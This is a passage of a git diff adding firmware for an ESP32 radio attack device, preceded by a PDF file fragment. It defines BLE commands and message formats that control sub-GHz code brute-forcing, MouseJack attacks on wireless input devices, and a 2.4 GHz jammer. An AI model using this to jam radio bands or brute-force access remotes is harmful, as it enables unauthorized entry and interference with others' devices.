+/ItalicAngle 0 +/Ascent 1005 +>> +endobj +6 0 obj +<> +endobj +7 0 obj +<< +/Descent -325 +/CapHeight 500 +/StemV 80 +/Type /FontDescriptor +/Flags 32 +/FontBBox [-665 -325 2000 1006] +/FontName /Arial +/ItalicAngle 0 +/Ascent 1006 +>> +endobj +8 0 obj +<> +endobj +9 0 obj +<< +/Type /Font +/BaseFont /Times-Roman +/Subtype /Type1 +/Encoding /WinAnsiEncoding +/FirstChar 32 +/LastChar 255 +>> +endobj +10 0 obj +<< +/Descent -209 +/CapHeight 727 +/StemV 0 +/Type /FontDescriptor +/Flags 32 +/FontBBox [-559 -303 1446 1050] +/FontName /Verdana,Bold +/ItalicAngle 0 +/Ascent 1005 +>> +endobj +11 0 obj +<> +endobj +2 0 obj +<< +/ProcSet [/PDF /Text /ImageB /ImageC /ImageI] +/Font << +/F1 6 0 R +/F2 8 0 R +/F3 9 0 R +/F4 11 0 R +>> +/XObject << +>> +>> +endobj +12 0 obj +<< +/Producer (jsPDF 0.0.0) +/CreationDate (D:20211216165226+08'00') +>> +endobj +13 0 obj +<< +/Type /Catalog +/Pages 1 0 R +/OpenAction [3 0 R /FitH null] +/PageLayout /OneColumn +>> +endobj +xref +0 14 +0000000000 65535 f +0000136417 00000 n +0000140275 00000 n +0000000015 00000 n +0000000126 00000 n +0000136474 00000 n +0000136644 00000 n +0000137698 00000 n +0000137867 00000 n +0000138911 00000 n +0000139038 00000 n +0000139214 00000 n +0000140410 00000 n +0000140496 00000 n +trailer +<< +/Size 14 +/Root 13 0 R +/Info 12 0 R +/ID [ <3A0607303B54254D75E6A99931188DA1> <3A0607303B54254D75E6A99931188DA1> ] +>> +startxref +140600 +%%EOF \ No newline at end of file diff --git a/filter_https_ota.py b/filter_https_ota.py new file mode 100644 index 0000000..8aeb3fe --- /dev/null +++ b/filter_https_ota.py @@ -0,0 +1,40 @@ +""" +PlatformIO Pre-Build Script +Excludes HttpsOTAUpdate from the Update library build. + +The ESP32 Arduino Update library includes HttpsOTAUpdate.cpp which +requires esp_https_ota.h (available only in ESP-IDF framework, not Arduino). +Since we only use the basic Update class for BLE OTA, we temporarily +disable this file during build by renaming it. +""" + +import os +import atexit + +Import("env") + +framework_dir = env.PioPlatform().get_package_dir( + "framework-arduinoespressif32" +) +https_ota_src = os.path.join( + framework_dir, "libraries", "Update", "src", "HttpsOTAUpdate.cpp" +) +https_ota_bak = https_ota_src + ".disabled" + +# Handle leftover .disabled file from a previous crashed build (Windows fix) +if os.path.exists(https_ota_bak) and os.path.exists(https_ota_src): + os.remove(https_ota_bak) + print("[FILTER] Cleaned up leftover .disabled file from previous build") + +# Temporarily disable the problematic file before build +if os.path.exists(https_ota_src): + os.rename(https_ota_src, https_ota_bak) + print("[FILTER] Disabled HttpsOTAUpdate.cpp for build") + + # Restore after build finishes (success or failure) + def restore_https_ota(): + if os.path.exists(https_ota_bak) and not os.path.exists(https_ota_src): + os.rename(https_ota_bak, https_ota_src) + print("[FILTER] Restored HttpsOTAUpdate.cpp") + + atexit.register(restore_https_ota) diff --git a/include/BinaryMessages.h b/include/BinaryMessages.h new file mode 100644 index 0000000..5ba995a --- /dev/null +++ b/include/BinaryMessages.h @@ -0,0 +1,275 @@ +#ifndef BinaryMessages_h +#define BinaryMessages_h + +#include + +#pragma pack(push, 1) + +// Message type IDs (0x80-0xFF reserved for responses) +enum BinaryMessageType : uint8_t { + // Status & State messages + MSG_MODE_SWITCH = 0x80, // Mode changed + MSG_STATUS = 0x81, // Current status + MSG_HEARTBEAT = 0x82, // Heartbeat + + // Signal events + MSG_SIGNAL_DETECTED = 0x90, + MSG_SIGNAL_RECORDED = 0x91, + MSG_SIGNAL_SENT = 0x92, + MSG_SIGNAL_SEND_ERROR = 0x93, + // NOTE: 0x94 is reserved but never sent by firmware. + // Frequency search results use MSG_SIGNAL_DETECTED (0x90) via the + // CC1101Worker::detectSignal β†’ signalDetectedCallback pipeline. + MSG_FREQUENCY_SEARCH = 0x94, // Reserved β€” frequency search uses 0x90 instead + + // File operations + MSG_FILE_CONTENT = 0xA0, // Raw file content chunks + MSG_FILE_LIST = 0xA1, // File list STREAMING: [0xA1][pathLen][path][flags][totalFiles:2][fileCount][files...] + MSG_DIRECTORY_TREE = 0xA2, // Directory tree (nested structure, directories only) + MSG_FILE_ACTION_RESULT = 0xA3, // Result of file action (rename, delete, etc.) + + // Errors + MSG_ERROR = 0xF0, + MSG_LOW_MEMORY = 0xF1, + + // Command results (generic) + MSG_COMMAND_SUCCESS = 0xF2, // Generic success + MSG_COMMAND_ERROR = 0xF3, // Generic error + + // Bruter events + MSG_BRUTER_PROGRESS = 0xB0, // Brute force progress update + MSG_BRUTER_COMPLETE = 0xB1, // Brute force attack finished + MSG_BRUTER_PAUSED = 0xB2, // Brute force attack paused (state saved) + MSG_BRUTER_RESUMED = 0xB3, // Brute force attack resumed from saved state + MSG_BRUTER_STATE_AVAIL = 0xB4, // A resumable state exists on LittleFS + + // Settings synchronization + MSG_SETTINGS_SYNC = 0xC0, // Device β†’ App: current persistent settings + MSG_SETTINGS_UPDATE = 0xC1, // App β†’ Device: update settings (command byte) + MSG_VERSION_INFO = 0xC2, // Device β†’ App: firmware version info + MSG_BATTERY_STATUS = 0xC3, // Device β†’ App: battery voltage and percentage + + // NRF24 events + MSG_NRF_DEVICE_FOUND = 0xD0, // Device discovered during MouseJack scan + MSG_NRF_ATTACK_COMPLETE = 0xD1, // MouseJack attack finished + MSG_NRF_SCAN_COMPLETE = 0xD2, // Full scan cycle done + MSG_NRF_SCAN_STATUS = 0xD3, // Scan status + target list response + MSG_NRF_SPECTRUM_DATA = 0xD4, // 80-channel spectrum levels + MSG_NRF_JAM_STATUS = 0xD5, // Jammer status update + + // SDR mode events + MSG_SDR_STATUS = 0xC4, // Device β†’ App: SDR mode status + MSG_SDR_SPECTRUM_DATA = 0xC5, // Device β†’ App: spectrum scan results (chunked) + MSG_SDR_RAW_DATA = 0xC6, // Device β†’ App: raw RX data chunk + + // OTA update events + MSG_OTA_PROGRESS = 0xE0, // OTA progress: [received:4][total:4][pct:1] + MSG_OTA_COMPLETE = 0xE1, // OTA write complete, ready to reboot + MSG_OTA_ERROR = 0xE2, // OTA error: [msgLen:1][errorMsg...] + + // Device identity + MSG_DEVICE_NAME = 0xC7, // Current BLE device name: [nameLen:1][name...] +}; + +// Mode switch notification (4 bytes) +struct BinaryModeSwitch { + uint8_t messageType = MSG_MODE_SWITCH; + uint8_t module; + uint8_t currentMode; + uint8_t previousMode; +}; + +// Status message with CC1101 registers (102 bytes) +// 1+1+1+1+4+47+47 = 102 bytes total +struct BinaryStatus { + uint8_t messageType = MSG_STATUS; + uint8_t module0Mode; + uint8_t module1Mode; + uint8_t numRegisters; // 0x2E (46 registers) + uint32_t freeHeap; + uint8_t module0Registers[47]; // All CC1101 registers for module 0 + uint8_t module1Registers[47]; // All CC1101 registers for module 1 +}; + +// Heartbeat (5 bytes) +struct BinaryHeartbeat { + uint8_t messageType = MSG_HEARTBEAT; + uint32_t uptimeMs; +}; + +// Signal detected (12 bytes) +struct BinarySignalDetected { + uint8_t messageType = MSG_SIGNAL_DETECTED; + uint8_t module; + uint16_t samples; + uint32_t frequency; + int16_t rssi; + uint16_t reserved; +}; + +// Signal recorded (5 bytes + filename) +struct BinarySignalRecorded { + uint8_t messageType = MSG_SIGNAL_RECORDED; + uint8_t module; + uint8_t filenameLength; + // char filename[]; // Variable length follows +}; + +// Signal sent result +struct BinarySignalSent { + uint8_t messageType = MSG_SIGNAL_SENT; + uint8_t module; + uint8_t filenameLength; + // char filename[]; +}; + +// Signal send error +struct BinarySignalSendError { + uint8_t messageType = MSG_SIGNAL_SEND_ERROR; + uint8_t module; + uint8_t errorCode; + uint8_t filenameLength; + // char filename[]; +}; + +// Error message (2 bytes + message) +struct BinaryError { + uint8_t messageType = MSG_ERROR; + uint8_t errorCode; + // char message[]; // Variable length follows +}; + +// File action result (variable length) +// [type][action:1][status:1][errorCode:1][pathLen:1][path...] +struct BinaryFileActionResult { + uint8_t messageType = MSG_FILE_ACTION_RESULT; + uint8_t action; // 1=delete, 2=rename, 3=mkdir, 4=copy, 5=move + uint8_t status; // 0=success, 1=error + uint8_t errorCode; // Optional error code + uint8_t pathLen; + // char path[]; // Path or filename follows +}; + +// Bruter progress update (13 bytes) +// Sent periodically during brute force attacks +struct BinaryBruterProgress { + uint8_t messageType = MSG_BRUTER_PROGRESS; + uint32_t currentCode; // Current code index + uint32_t totalCodes; // Total codes to try + uint8_t menuId; // Protocol menu ID (1-33) + uint8_t percentage; // 0-100 percentage complete + uint16_t codesPerSec; // Estimated codes per second +}; + +// Bruter attack complete (8 bytes) +// Sent when brute force attack finishes (complete or cancelled) +struct BinaryBruterComplete { + uint8_t messageType = MSG_BRUTER_COMPLETE; + uint8_t menuId; // Protocol menu ID (1-40) + uint8_t status; // 0=completed, 1=cancelled, 2=error + uint8_t reserved; + uint32_t totalSent; // Total codes actually transmitted +}; + +// Bruter paused notification (13 bytes packed) +// Sent when the attack is paused and state has been saved to LittleFS +struct BinaryBruterPaused { + uint8_t messageType = MSG_BRUTER_PAUSED; + uint8_t menuId; // Protocol that was paused + uint32_t currentCode; // Code index at pause point + uint32_t totalCodes; // Total keyspace + uint8_t percentage; // Progress at pause + uint8_t reserved[2]; +}; + +// Bruter resumed notification (13 bytes packed) +// Sent when an attack resumes from a saved state +struct BinaryBruterResumed { + uint8_t messageType = MSG_BRUTER_RESUMED; + uint8_t menuId; // Protocol being resumed + uint32_t resumeCode; // Code index where resumption starts + uint32_t totalCodes; // Total keyspace + uint8_t reserved[3]; +}; + +// Bruter saved state available notification (13 bytes packed) +// Sent on connect / on request to inform app that a resume is possible +struct BinaryBruterStateAvail { + uint8_t messageType = MSG_BRUTER_STATE_AVAIL; + uint8_t menuId; // Protocol that was paused + uint32_t currentCode; // Code index at pause + uint32_t totalCodes; // Total keyspace + uint8_t percentage; // Progress at pause + uint8_t reserved[2]; +}; + +// Settings sync notification (8 bytes) +// Sent on BLE connect to synchronize app with device settings. +// [0xC0][scannerRssi:int8][bruterPower:u8][delayLo:u8][delayHi:u8][bruterRepeats:u8][radioPowerMod1:int8][radioPowerMod2:int8] +struct BinarySettingsSync { + uint8_t messageType = MSG_SETTINGS_SYNC; + int8_t scannerRssi; + uint8_t bruterPower; + uint16_t bruterDelay; + uint8_t bruterRepeats; + int8_t radioPowerMod1; + int8_t radioPowerMod2; +}; + +// Firmware version info (4 bytes) +// Sent on BLE connect (with getState) so the app can compare versions. +// [0xC2][major:u8][minor:u8][patch:u8] +struct BinaryVersionInfo { + uint8_t messageType = MSG_VERSION_INFO; + uint8_t major; + uint8_t minor; + uint8_t patch; +}; + +// Battery status (5 bytes) +// Sent periodically (every 30s) and on BLE connect with settings sync. +// [0xC3][voltage_mv:2 LE][percentage:1][charging:1] +struct BinaryBatteryStatus { + uint8_t messageType = MSG_BATTERY_STATUS; + uint16_t voltage_mv; // Battery voltage in millivolts (e.g., 3700 = 3.7V) + uint8_t percentage; // 0-100% + uint8_t charging; // 0 = not charging, 1 = charging +}; + +// SDR status (7 bytes) +// Sent when SDR mode changes or status is requested. +// [0xC4][active:1][module:1][freq_khz:4LE][modulation:1] +struct BinarySdrStatus { + uint8_t messageType = MSG_SDR_STATUS; + uint8_t active; // 0 = SDR off, 1 = SDR on + uint8_t module; // CC1101 module index used (0 or 1) + uint32_t freq_khz; // Current center frequency in kHz + uint8_t modulation; // Current modulation type +}; + +// SDR spectrum data chunk (variable length) +// Sent as multiple chunks during spectrum scan. +// [0xC5][chunkIndex:1][totalChunks:1][pointsInChunk:1][startFreqKhz:4LE]{rssi_dBm:int8}... +struct BinarySdrSpectrumHeader { + uint8_t messageType = MSG_SDR_SPECTRUM_DATA; + uint8_t chunkIndex; // Current chunk (0-based) + uint8_t totalChunks; // Total chunks + uint8_t pointsInChunk; // Number of RSSI values in this chunk + uint32_t startFreq_khz; // Start frequency of this chunk in kHz + uint16_t stepSize_khz; // Step size in kHz between points + // int8_t rssi[]; // Variable: pointsInChunk RSSI values (dBm) +}; + +// SDR raw RX data chunk (variable length) +// [0xC6][seqNum:2LE][dataLen:1][data...] +struct BinarySdrRawDataHeader { + uint8_t messageType = MSG_SDR_RAW_DATA; + uint16_t seqNum; // Sequence number for ordering + uint8_t dataLen; // Number of data bytes following + // uint8_t data[]; // Variable: raw demodulated bytes from CC1101 FIFO +}; + +#pragma pack(pop) + +#endif // BinaryMessages_h + diff --git a/include/BruterCommands.h b/include/BruterCommands.h new file mode 100644 index 0000000..9329db8 --- /dev/null +++ b/include/BruterCommands.h @@ -0,0 +1,228 @@ +#ifndef BruterCommands_h +#define BruterCommands_h + +#include "StringBuffer.h" +#include "core/ble/CommandHandler.h" +#include "core/ble/ControllerAdapter.h" +#include "DeviceTasks.h" +#include "StringHelpers.h" +#include "core/ble/ClientsManager.h" +#include "config.h" +#include "modules/bruter/bruter_main.h" +#include "cstring" + +/** + * Bruter commands for RF protocol brute force attacks. + * + * The attack runs on a dedicated FreeRTOS task (static allocation, + * no heap usage for the stack) so the BLE callback returns immediately + * and the mobile app does not time out. + */ +class BruterCommands { +public: + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x04, handleBruterCommand); + } + +private: + // Bruter command handler β€” returns immediately for menu 1-33, + // the actual attack runs on the bruter async task. + static bool handleBruterCommand(const uint8_t* data, size_t len) { + ESP_LOGD("BruterCommands", "handleBruterCommand START, len=%zu", len); + + if (len < 1) { + ESP_LOGE("BruterCommands", "Insufficient data for bruter command"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 1}; // 1=insufficient data + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + + uint8_t menuChoice = data[0]; + ESP_LOGI("BruterCommands", "Bruter menu choice: %d", menuChoice); + + // --- Pause running attack (sub-command 0xFB) --- + if (menuChoice == 0xFB) { + BruterModule& bruter = getBruterModule(); + if (!bruter.isAttackRunning()) { + ESP_LOGW("BruterCommands", "No attack running to pause"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 5}; // 5=nothing to pause + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + bruter.pauseAttack(); + ESP_LOGI("BruterCommands", "Pause requested"); + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + return true; + } + + // --- Resume from saved state (sub-command 0xFA) --- + if (menuChoice == 0xFA) { + BruterModule& bruter = getBruterModule(); + if (bruter.isAttackRunning() || BruterModule::attackTaskHandle != nullptr) { + ESP_LOGW("BruterCommands", "Attack already running, cannot resume"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 4}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + if (!bruter.resumeAttackAsync()) { + ESP_LOGE("BruterCommands", "Failed to resume attack (no saved state?)"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 6}; // 6=no saved state + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + } + return true; + } + + // --- Query saved state (sub-command 0xF9) --- + if (menuChoice == 0xF9) { + BruterModule& bruter = getBruterModule(); + bruter.checkAndNotifySavedState(); + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + return true; + } + + // --- Set inter-frame delay (sub-command 0xFE) --- + if (menuChoice == 0xFE) { + if (len < 3) { + ESP_LOGE("BruterCommands", "Insufficient data for set-delay command"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 1}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + uint16_t delayMs = data[1] | (data[2] << 8); // little-endian + BruterModule& bruter = getBruterModule(); + bruter.setInterFrameDelay(delayMs); + ESP_LOGI("BruterCommands", "Inter-frame delay set to %d ms", delayMs); + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + return true; + } + + // --- Set global repeats (sub-command 0xFC) --- + if (menuChoice == 0xFC) { + if (len < 2) { + ESP_LOGE("BruterCommands", "Insufficient data for set-repeats command"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 1}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + uint8_t repeats = data[1]; + if (repeats < 1 || repeats > BRUTER_MAX_REPETITIONS) { + ESP_LOGE("BruterCommands", "Invalid repeats value: %d (range 1-%d)", repeats, BRUTER_MAX_REPETITIONS); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 3}; // 3=out of range + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + BruterModule& bruter = getBruterModule(); + bruter.setGlobalRepeats(repeats); + ESP_LOGI("BruterCommands", "Global repeats set to %d", repeats); + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + return true; + } + + // --- De Bruijn universal with custom params (sub-command 0xFD) --- + // Format: [0xFD][bits:1][teLo:1][teHi:1][ratio:1] (5 bytes) + // or: [0xFD][bits:1][teLo:1][teHi:1][ratio:1][freq:4LE float] (9 bytes) + if (menuChoice == 0xFD) { + if (len < 5) { + ESP_LOGE("BruterCommands", "Insufficient data for De Bruijn custom command"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 1}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + BruterModule& bruter = getBruterModule(); + if (bruter.isAttackRunning() || BruterModule::attackTaskHandle != nullptr) { + ESP_LOGW("BruterCommands", "Attack already running, rejecting De Bruijn custom"); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 4}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + + // Parse custom parameters + uint8_t bits = data[1]; + uint16_t te = data[2] | (data[3] << 8); // little-endian + uint8_t ratio = data[4]; + + // Optional frequency (default 433.92 MHz if not provided) + float freq = 433.92f; + if (len >= 9) { + memcpy(&freq, &data[5], 4); // IEEE 754 float, little-endian + } + + // Validate parameters + if (bits < 1 || bits > DEBRUIJN_MAX_BITS) { + ESP_LOGE("BruterCommands", "Invalid bits: %d (range 1-%d)", bits, DEBRUIJN_MAX_BITS); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 3}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + if (te < 50 || te > 5000) { + ESP_LOGE("BruterCommands", "Invalid Te: %d (range 50-5000 us)", te); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 3}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + if (ratio < 1 || ratio > 10) { + ESP_LOGE("BruterCommands", "Invalid ratio: %d (range 1-10)", ratio); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 3}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + + // Store custom params and launch attack + bruter.setCustomDeBruijnParams(bits, te, ratio, freq); + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + if (!bruter.startAttackAsync(0xFD)) { + ESP_LOGE("BruterCommands", "Failed to create bruter task for De Bruijn custom"); + } + return true; + } + + // --- Cancel running attack (instant, no task needed) --- + if (menuChoice == 0) { + BruterModule& bruter = getBruterModule(); + bruter.cancelAttack(); + ESP_LOGI("BruterCommands", "Cancel attack requested"); + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + return true; + } + + // --- Start a new attack (async) --- + if (menuChoice >= 1 && menuChoice <= 40) { + BruterModule& bruter = getBruterModule(); + + // Reject if an attack is already in progress + if (bruter.isAttackRunning() || BruterModule::attackTaskHandle != nullptr) { + ESP_LOGW("BruterCommands", "Attack already running, rejecting menu %d", menuChoice); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 4}; // 4=already running + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } + + // Send immediate ACK so the BLE write callback returns quickly + uint8_t successBuffer[1] = {MSG_COMMAND_SUCCESS}; + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, successBuffer, 1); + + // Launch the attack on a separate statically-allocated task + if (!bruter.startAttackAsync(menuChoice)) { + ESP_LOGE("BruterCommands", "Failed to create bruter task for menu %d", menuChoice); + } + + return true; + } + + // --- Invalid choice --- + ESP_LOGE("BruterCommands", "Invalid bruter menu choice: %d", menuChoice); + uint8_t errBuffer[2] = {MSG_COMMAND_ERROR, 2}; // 2=invalid choice + ClientsManager::getInstance().notifyAllBinary(NotificationType::SignalSendingError, errBuffer, 2); + return false; + } +}; + +#endif // BruterCommands_h \ No newline at end of file diff --git a/include/BruterState.h b/include/BruterState.h new file mode 100644 index 0000000..d7d7865 --- /dev/null +++ b/include/BruterState.h @@ -0,0 +1,111 @@ +#ifndef BruterState_h +#define BruterState_h + +#include +#include +#include "esp_log.h" + +/** + * Persistent bruter attack state for Pause/Resume functionality. + * + * When the user pauses an attack, we write the current progress to + * /bruter_state.bin on LittleFS. On resume the attack restarts from + * (savedCode - RESUME_OVERLAP) so that a few codes are re-transmitted + * and none are skipped. Starting a *new* attack automatically deletes + * any saved state. + */ + +static const char* BRUTER_STATE_FILE = "/bruter_state.bin"; +static const uint32_t BRUTER_STATE_MAGIC = 0x42523537; // "BR57" + +// Overlap: re-transmit this many codes before the pause point +// to ensure nothing is skipped on resume. +static const uint32_t BRUTER_RESUME_OVERLAP = 5; + +#pragma pack(push, 1) +struct BruterSavedState { + uint32_t magic; // Must be BRUTER_STATE_MAGIC + uint8_t menuId; // Which attack (1-40) + uint32_t currentCode; // Last code transmitted before pause + uint32_t totalCodes; // Total keyspace + uint16_t interFrameDelayMs; // Delay setting at time of pause + uint8_t globalRepeats; // Repetitions per code + uint32_t timestamp; // Device uptime (seconds) when paused + uint8_t attackType; // 0=binary, 1=tristate, 2=debruijn + uint8_t reserved[3]; // Future use, zeroed +}; +#pragma pack(pop) + +/** + * Helper class for reading/writing bruter state on LittleFS. + */ +class BruterStateManager { +public: + /// Save the current attack state to flash. + /// Returns true on success. + static bool saveState(const BruterSavedState& state) { + File f = LittleFS.open(BRUTER_STATE_FILE, FILE_WRITE); + if (!f) { + ESP_LOGE("BruterState", "Failed to open state file for writing"); + return false; + } + size_t written = f.write(reinterpret_cast(&state), sizeof(state)); + f.close(); + if (written != sizeof(state)) { + ESP_LOGE("BruterState", "Short write: %d/%d", (int)written, (int)sizeof(state)); + return false; + } + ESP_LOGI("BruterState", "State saved: menu=%d code=%lu/%lu", + state.menuId, (unsigned long)state.currentCode, + (unsigned long)state.totalCodes); + return true; + } + + /// Load a previously saved state. Returns true if a valid state + /// was found, and fills `out` with the data. + static bool loadState(BruterSavedState& out) { + if (!LittleFS.exists(BRUTER_STATE_FILE)) { + return false; + } + File f = LittleFS.open(BRUTER_STATE_FILE, FILE_READ); + if (!f) { + ESP_LOGE("BruterState", "Failed to open state file for reading"); + return false; + } + size_t readBytes = f.read(reinterpret_cast(&out), sizeof(out)); + f.close(); + if (readBytes != sizeof(out) || out.magic != BRUTER_STATE_MAGIC) { + ESP_LOGW("BruterState", "Invalid state file (read=%d, magic=0x%08X)", + (int)readBytes, out.magic); + clearState(); + return false; + } + ESP_LOGI("BruterState", "State loaded: menu=%d code=%lu/%lu", + out.menuId, (unsigned long)out.currentCode, + (unsigned long)out.totalCodes); + return true; + } + + /// Delete the saved state (called on Stop or when a new attack starts). + static void clearState() { + if (LittleFS.exists(BRUTER_STATE_FILE)) { + LittleFS.remove(BRUTER_STATE_FILE); + ESP_LOGI("BruterState", "State file cleared"); + } + } + + /// Check whether a resumable state exists. + static bool hasState() { + if (!LittleFS.exists(BRUTER_STATE_FILE)) return false; + BruterSavedState tmp; + return loadState(tmp); + } + + /// Compute the resume start code (back up by RESUME_OVERLAP). + static uint32_t getResumeStartCode(uint32_t savedCode) { + if (savedCode <= BRUTER_RESUME_OVERLAP) return 0; + return savedCode - BRUTER_RESUME_OVERLAP; + } +}; + +#endif // BruterState_h diff --git a/include/ButtonCommands.h b/include/ButtonCommands.h new file mode 100644 index 0000000..a3b7e81 --- /dev/null +++ b/include/ButtonCommands.h @@ -0,0 +1,199 @@ +/** + * @file ButtonCommands.h + * @brief BLE command handler for hardware button configuration + polling. + * + * Command IDs: + * 0x40 = HW_BUTTON_CONFIG β€” Set action for a physical button + * Payload: [buttonId: 1|2][actionId: 0-6] + * + * Button actions (HwButtonAction enum): + * 0 = None + * 1 = Toggle NRF Jammer + * 2 = Toggle SubGhz Recording + * 3 = Replay Last Signal + * 4 = Toggle LED + * 5 = Deep Sleep + * 6 = Reboot + * + * GPIO34 (BUTTON1) and GPIO35 (BUTTON2) are input-only pins on ESP32. + * The polling function checkButtons() should be called from loop(). + */ + +#ifndef BUTTON_COMMANDS_H +#define BUTTON_COMMANDS_H + +#include +#include "config.h" +#include "core/ble/CommandHandler.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "ConfigManager.h" +#include "core/device_controls/DeviceControls.h" +#include "modules/nrf/NrfJammer.h" +#include "esp_log.h" + +/// Available actions for hardware buttons. +/// Must match the Flutter HwButtonAction enum order. +enum class HwButtonAction : uint8_t { + None = 0, + ToggleJammer = 1, + ToggleRecording = 2, + ReplayLast = 3, + ToggleLed = 4, + DeepSleep = 5, + Reboot = 6, + ACTION_COUNT = 7, +}; + +class ButtonCommands { +public: + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x40, handleButtonConfig); + // Load persisted button actions from flash config + loadFromConfig(); + ESP_LOGI("ButtonCmd", "HW Button commands registered (0x40), btn1=%d btn2=%d", + (int)button1Action, (int)button2Action); + } + + /// Load button actions from ConfigManager (call after ConfigManager::loadSettings) + static void loadFromConfig() { + uint8_t a1 = ConfigManager::settings.button1Action; + uint8_t a2 = ConfigManager::settings.button2Action; + if (a1 < (uint8_t)HwButtonAction::ACTION_COUNT) + button1Action = static_cast(a1); + if (a2 < (uint8_t)HwButtonAction::ACTION_COUNT) + button2Action = static_cast(a2); + } + + /// Call from loop() β€” polls buttons with debounce and executes assigned action. + static void checkButtons() { + static unsigned long lastBtn1Press = 0; + static unsigned long lastBtn2Press = 0; + static bool btn1WasPressed = false; + static bool btn2WasPressed = false; + const unsigned long debounceMs = 300; + unsigned long now = millis(); + + // BUTTON1 (GPIO34) β€” active LOW + bool btn1Pressed = (digitalRead(BUTTON1) == LOW); + if (btn1Pressed && !btn1WasPressed && (now - lastBtn1Press > debounceMs)) { + lastBtn1Press = now; + executeAction(button1Action); + } + btn1WasPressed = btn1Pressed; + + // BUTTON2 (GPIO35) β€” active LOW + bool btn2Pressed = (digitalRead(BUTTON2) == LOW); + if (btn2Pressed && !btn2WasPressed && (now - lastBtn2Press > debounceMs)) { + lastBtn2Press = now; + executeAction(button2Action); + } + btn2WasPressed = btn2Pressed; + } + +private: + static inline HwButtonAction button1Action = HwButtonAction::None; + static inline HwButtonAction button2Action = HwButtonAction::None; + + /// Handle 0x40: Set button action + /// Payload: [buttonId (1 or 2)][actionId (0-6)] + static bool handleButtonConfig(const uint8_t* data, size_t len) { + if (len < 2) { + ESP_LOGW("ButtonCmd", "Payload too short (need 2 bytes)"); + return false; + } + + uint8_t buttonId = data[0]; + uint8_t actionId = data[1]; + + if (buttonId < 1 || buttonId > 2) { + ESP_LOGW("ButtonCmd", "Invalid button ID: %u (must be 1 or 2)", buttonId); + return false; + } + if (actionId >= (uint8_t)HwButtonAction::ACTION_COUNT) { + ESP_LOGW("ButtonCmd", "Invalid action ID: %u (max %u)", + actionId, (uint8_t)HwButtonAction::ACTION_COUNT - 1); + return false; + } + + HwButtonAction action = static_cast(actionId); + + if (buttonId == 1) { + button1Action = action; + ConfigManager::settings.button1Action = actionId; + } else { + button2Action = action; + ConfigManager::settings.button2Action = actionId; + } + + // Persist to flash so the action survives reboot + ConfigManager::saveSettings(); + ESP_LOGI("ButtonCmd", "Button %u -> action %u (saved to flash)", buttonId, actionId); + + // Send confirmation + uint8_t resp[] = { MSG_COMMAND_SUCCESS, buttonId, actionId }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SettingsSync, resp, sizeof(resp)); + + return true; + } + + /// Execute the action assigned to a button. + static void executeAction(HwButtonAction action) { + switch (action) { + case HwButtonAction::None: + break; + + case HwButtonAction::ToggleJammer: + if (NrfJammer::isRunning()) { + NrfJammer::stop(); + ESP_LOGI("ButtonCmd", "Jammer stopped via button"); + } else { + // Start with default mode (Full spectrum sweep) + NrfJammer::start(NRF_JAM_FULL); + ESP_LOGI("ButtonCmd", "Jammer started via button"); + } + break; + + case HwButtonAction::ToggleRecording: + // TODO: Implement recording toggle when recorder module + // exposes a static start/stop interface. + ESP_LOGI("ButtonCmd", "Toggle recording β€” not yet implemented"); + DeviceControls::ledBlink(2, 100); + break; + + case 